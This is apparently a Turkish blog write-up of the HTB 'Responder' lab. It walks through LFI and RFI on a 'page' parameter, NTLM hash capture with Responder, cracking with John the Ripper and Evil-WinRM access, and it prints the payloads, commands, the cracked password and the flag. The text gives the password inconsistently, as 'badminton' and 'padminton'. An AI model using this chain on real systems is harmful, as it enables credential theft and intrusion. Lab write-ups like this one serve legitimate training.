HTB Labs — Tier 1 — “Responder” Makine Çözümü | Yazan: CyberAlp0

Merhaba arkadaşlar, ben CyberAlp0. HTB destekli, Tier 1 seviyesindeki yeni bir çözüm rehberine hoş geldiniz; adı “Responder”. Responder makinesi, şu temel kavramları tanıtmak için tasarlanmıştır: web uygulaması açıkları, NTLM kimlik doğrulamasının kötüye kullanımı ve Windows ortamlarında servisler arası sömürü. Bu lab, görünüşte basit bir Local ve Remote File Inclusion açığının nasıl NTLM kimlik doğrulama sızıntısı ile zincirlenerek bir Windows ana bilgisayarının tamamen ele geçirilebileceğini gösterir.
Yönetici Özeti
İzleyeceğimiz adımların yönetici özeti aşağıdadır:
Aşama I: Tarama
Açık servisleri belirlemek ve hedefin saldırı yüzeyini anlamak için ilk keşif çalışması yapıldı. Ağ taraması iki temel açık servisi ortaya çıkardı: 80 portunda HTTP ve 5985 portunda WinRM (WSMan), bu da Windows tabanlı bir sistem olduğunu gösteriyor.
Aşama II: Numaralandırma
Web numaralandırması, bir page URL parametresiyle kontrol edilen bir dil değiştirme özelliğini ortaya çıkardı. Bu parametrenin Local File Inclusion (LFI) açığına karşı savunmasız olduğu tespit edildi. Bu açığı sömürerek hassas yerel sistem dosyalarına erişilebildi ve bu, hatalı girdi doğrulamasını doğruladı. Yapılan ek testler, uygulamanın uzak dosya yollarını da kabul ettiğini ortaya koydu; bu da potansiyel bir Remote File Inclusion (RFI) durumuna işaret ediyordu.
Uzak kaynakları yüklemeye çalışıldığında, sunucu bir kimlik doğrulama isteği başlattı ve bu da NTLM kimlik doğrulamasının kullanıldığını ortaya çıkardı. Bu davranış, sunucuyu saldırgan kontrolündeki bir ana bilgisayara kimlik doğrulaması yapmaya zorlayarak NTLM challenge-response hash'lerini yakalama fırsatını ortaya koydu.
Aşama III: Sömürü
Sömürü, hedef sunucudan dışarıya NTLM kimlik doğrulama istekleri tetiklemek için RFI açığından yararlanılarak gerçekleştirildi. Saldırgan makinesinde Responder çalıştırılarak Administrator hesabına ait bir NetNTLMv2 hash başarıyla yakalandı. Ardından bu hash, John the Ripper kullanılarak çevrimdışı olarak kırıldı ve Administrator parolası ortaya çıkarıldı.
Geçerli kimlik bilgileri elde edildikten sonra, sisteme uzaktan erişim Evil-WinRM kullanılarak 5985 portu üzerinden sağlandı. Bu, hedef makinede etkileşimli bir PowerShell oturumu sağladı; sisteme tam erişim imkanı vererek root flag'inin elde edilmesini mümkün kıldı.
Girişte daha fazla vakit kaybetmeyelim ve ayrıntılı olarak hacklemeye başlayalım!
Adım 1: Starting Point Labs sunucularına bağlanma.
Hedef makineye saldırabilmek için aynı ağda olmanız gerekir. Sizi hedef makineye bağlanma konusunda adım adım yönlendirecek olan blog yazımı okuyabilirsiniz.
Adım 2: Makineyi başlatma ve görevleri çözmeye başlama.
Görev 1: Web servisine IP adresi ile eriştiğimizde, hangi alan adına yönlendiriliyoruz?
Cevap: Unika.htb
Çözüm:
Makinenin IP adresini tarayıcıya yazdığınızda, sizi şu adrese yönlendireceğini fark edeceksiniz: http://unika.htb

Hedefleri taramak, web uygulamasının doğasını anlamak için genellikle attığımız ilk adım olduğundan, hedefi daha iyi anlamak için NmapAutomator aracını kullanacağız.

Tarama sonucunda çalışan iki servis olduğunu göreceğiz:
- İlk servis HTTP olup 80 portu üzerinden çalışıyor
- İkinci servis wsman olup 5985 portu üzerinden çalışıyor. Web sunucusu büyük olasılıkla bir Windows sunucusudur.
Görev 2: Sunucuda web sayfalarını oluşturmak için hangi betik dili kullanılıyor?
Cevap: PHP
Çözüm:
Kullanılan betik dilini curl komutuyla belirleyebilirsiniz. Aşağıdaki komutu yazın ve yanıtı inceleyin:
curl -I 10.129.8.213
Görev 3: Web sayfasının farklı dil sürümlerini yüklemek için kullanılan URL parametresinin adı nedir?
Cevap: page
Çözüm:
Tek bir evrensel isim yoktur, ancak bu tür URL parametreleri genellikle dil parametresi (veya yerel ayar parametresi) olarak adlandırılır. Geliştiriciler kendi parametre adlarını seçer. Bizim durumumuzda kullanılan parametreyi belirlemek için, makinenin IP adresini erişmeye çalıştığı web servisine karşılık /etc/hosts dosyasına kaydedin (Görev 1'e göre).
/etc/hosts dosyasını aşağıdaki ekran görüntüsünde gösterildiği gibi nano ile açın:

Alan adını ekledikten sonra, tarayıcıdan unika.htb adresine girin; web sayfasının yüklendiğini göreceksiniz

Web sayfasını görüntüledikten ve dili İngilizceden başka bir dile değiştirdikten sonra, dili gösteren URL parametresinin “page” olarak adlandırıldığını göreceksiniz.
Görev 4: Aşağıdaki değerlerden hangisi page parametresi için bir Local File Include (LFI) açığının sömürülmesine örnek olur: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
Cevap: ../../../../../../../../windows/system32/drivers/etc/hosts
Çözüm:
LFI (Local File Inclusion), bir saldırganın girdileri (genellikle bir URL parametresini) manipüle ederek bir web sitesine sunucunun yerel dosya sisteminden dosyalar yükletebildiği bir web açığıdır.
LFI, hackerların sunucuda erişilebilir olması hiç amaçlanmamış yerel dosyaları okumasına veya çalıştırmasına olanak tanır.
Bizim görevimizde soru, URL'deki parametreleri manipüle edip edemeyeceğinizi ve sunucunun açıklanması amaçlanmayan hassas bilgilerle yanıt verip vermeyeceğini görmenizi test ediyor. Web sayfasında görebileceğiniz gibi URL şudur:
http://unika.htb/index.php?page=french.html
Sorunun arkasındaki amaç, dört değerden hangisinin “page” parametresinin mevcut değeriyle yer değiştirdiğinde hassas bilgilerin açığa çıkmasına neden olacağını görmektir. Göreve göre dört değerimiz var:
1- ../../../../../../../../windows/system32/drivers/etc/hosts
2- minikatz.exe
3- french.html
4- //10.10.14.6/somefile
Cevap ilk değer olacaktır; çünkü “page” parametresinin değerini “french.html” yerine “../../../../../../../../windows/system32/drivers/etc/hosts” olarak değiştirmek, isteğin sunucuya giderek “page” parametresinin değerini çalıştırmasını istemesine neden olur; bu bizim durumumuzda “../../../../../../../../windows/system32/drivers/etc/hosts” değeridir.
Bu, sunucunun “Page” parametresinin değerine yerleştirilen önceden tanımlı yola yönlenmesini sağlar; sonuç olarak sunucu, aşağıdaki ekran görüntüsünde gösterildiği gibi “hosts” dosyasında yazılı olan içerikle yanıt verir.

Görev 5: Aşağıdaki değerlerden hangisi page parametresi için bir Remote File Include (RFI) açığının sömürülmesine örnek olur: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
Cevap: //10.10.14.6/somefile
Çözüm:
LFI ve RFI arasındaki temel farkları bilmeniz gerekir. Daha iyi bir genel bakış için şu tabloya göz atın:

LFI ve RFI arasındaki farklara dayanarak, doğru cevap //10.10.14.6/somefile olacaktır.
IP adresinin değerini değiştirip yerine makinenin ya da uzak sunucunun IP adresini yazacağınızı unutmayın.

Ekran görüntüsünde görüldüğü gibi, işlemin izinli olmadığı ve reddedildiği belirtiliyor; bu da bu sunucuda çalışan bir kimlik doğrulama süreci olduğu anlamına geliyor
Görev 6: NTLM neyin kısaltmasıdır?
Cevap: New Technology Lan Manager
Çözüm:
Belirtmekte fayda var ki NTLM, Microsoft tarafından Windows ağları için geliştirilmiş eski bir kimlik doğrulama protokolüdür. Öncelikle Windows NT ve erken dönem Active Directory ortamlarında, ağ üzerinden düz metin parolalar göndermeden kullanıcı kimliklerini doğrulamak için kullanılıyordu.
NTLM, geriye dönük uyumluluk için hâlâ desteklenmektedir, ancak modern kurumsal ortamlar için eski ve güvensizdir.
Görev 7: Ağ arayüzünü belirtmek için Responder aracında hangi flag'i kullanırız?
Cevap: -I
Çözüm:
Responder'da, ağ arayüzünü belirtmek için kullanılan flag -I'dir. eth0 üzerinde herhangi bir olayı dinleyeceksek eth0 arayüzünü kullanırız. VPN üzerinden çalışıyorsak tun0 veya kullandığımız arayüzler üzerinden bağlanırız.
sudo responder -I tun0Sisteminizdeki ağ arayüzlerini belirlemek için aşağıdaki komutu çalıştırın:
ifconfig or ip a 
Görev 8: Bir NetNTLMv2 challenge/response alıp, herhangi birinin aynı yanıtı üretip üretmediğini görmek için milyonlarca parolayı deneyen çeşitli araçlar vardır. Böyle bir araç genellikle john olarak anılır, ama tam adı nedir?
Cevap: John The Ripper
Çözüm:
John The Ripper bir parola kırma aracıdır; genellikle NetNTLMv2 challenge/response hash'lerini kırmak için kullanılır ve şunları gerçekleştirir: sözlük ve brute-force saldırıları.
Görev 9: administrator kullanıcısının parolası nedir?
Cevap: badminton
Çözüm:
Administrator parolasını ve makinenin flag'ini nasıl elde edebileceğimizi anlamak için hedef hakkında şimdiye kadarki bulguları özetleyelim.
Birincisi: Tarama sonucunda, sunucunun büyük olasılıkla Windows sunucusu üzerinde çalıştığını gördük.
İkincisi: Numaralandırma aşamasında, web sunucusunun LFI'ye karşı savunmasız olduğunu, bunun da bize hedef sunucudaki uzak ve barındırılan dosyaları görüntüleme imkanı verdiğini görüyoruz. Ayrıca web sunucusu büyük olasılıkla RFI'ye karşı da savunmasızdır; bu da bize uzak sunuculardaki uzak dosyaları hedef sunucularda çalıştırma imkanı verir.
Üçüncüsü: Uzak bir sunucudan herhangi bir dosya çağrılmaya çalışıldığında Windows sunucusunda çalışan bir kimlik doğrulama süreci vardır.
Şimdiye kadar topladığımız bilgilere dayanarak, sunucuda çalışan kimlik doğrulama türünü görmeye çalışacağız. Bunun için, ağ arayüzümüz üzerinden çalışan IP adresimize gelen olayları dinlemek amacıyla responder aracını kullanacağız. Makinemizden herhangi bir dosya çağrılmaya çalışıldığında, hedefin sunucusu bu işlemi doğrulamaya çalışacak ve bir yanıt dönecektir.

Belirttiklerimize dayanarak, responder'ı makinemizde çalıştıracak ve URL'yi şu şekilde manipüle ettiğimizde hedefin web sunucularından gelen olayları izleyeceğiz:
http://unika.htb/index.php?page=//10.10.14.192/somefile

Responder arka planda çalışacak ve kullanılan kimlik doğrulama hakkında bize daha fazla bilgi verecek; ayrıca web sunucusu ile erişim için gereken kimlik bilgileri hakkında da daha fazla bilgi sağlayacaktır.

JohnTheRipper kullanarak hash'i çözeceğiz. “Administrator” kelimesinden başlayarak hash'i kopyalayın ve bir txt dosyasına yapıştırın, ardından hash'e brute force uygulamak için aşağıdaki komutu kullanın.
john -w=/usr/share/wordlists/rockyou.txt "Hash File location"
“Administrator” parolasının “badminton” olduğunu göreceksiniz
Görev 10: Ele geçirdiğimiz parolayı kullanarak Responder makinesine uzaktan erişmek için bir Windows servisini (yani makinede çalışan bir servisi) kullanacağız. Bu servis hangi TCP portunu dinler?
Cevap: 5985
Çözüm:
İlk adımda gerçekleştirdiğimiz taramaya göre, “wsman” adlı ve 5985 portu üzerinden çalışan bir servis olduğunu fark edeceğiz. Şu adlı bir araç kullanacağız: Evil-WinRM. Bu araç, bir post-exploitation / uzaktan erişim aracıdır. Sızma testlerinde bir Windows makinesinde etkileşimli bir PowerShell kabuğu elde etmek için WinRM (Windows Remote Management) aracılığıyla kullanılır.

Görev 11: Root flag'ini gönderin
Cevap: ea81b7afddd03efaa0945333ed147fac
Çözüm:
Evil-WinRM aracını kullanarak Windows sunucusuna uzaktan erişim sağlayacağız. Aşağıdaki komutu yazın:
evil-winrm -i 10.129.95.234 -u administrator -p padminton
Bağlantıdan sonra, users dizinine ulaşana kadar iki dizin geriye gidin, ardından “mike” adlı kullanıcının dizinine girin ve masaüstüne gidin. flag.txt dosyasını orada bulacaksınız.

Flag'in içeriğini “type flag.txt” komutuyla görüntüleyebileceğinizi unutmayın
Makinenin root flag'i şudur: “ea81b7afddd03efaa0945333ed147fac”
HTB — Tier 1 — Starting Point aşamasındaki “Responder” makinesinin çözümüne dair blog yazımı okumaktan keyif aldığınızı umuyorum.
Başka bir write-up'ta görüşmek üzere!


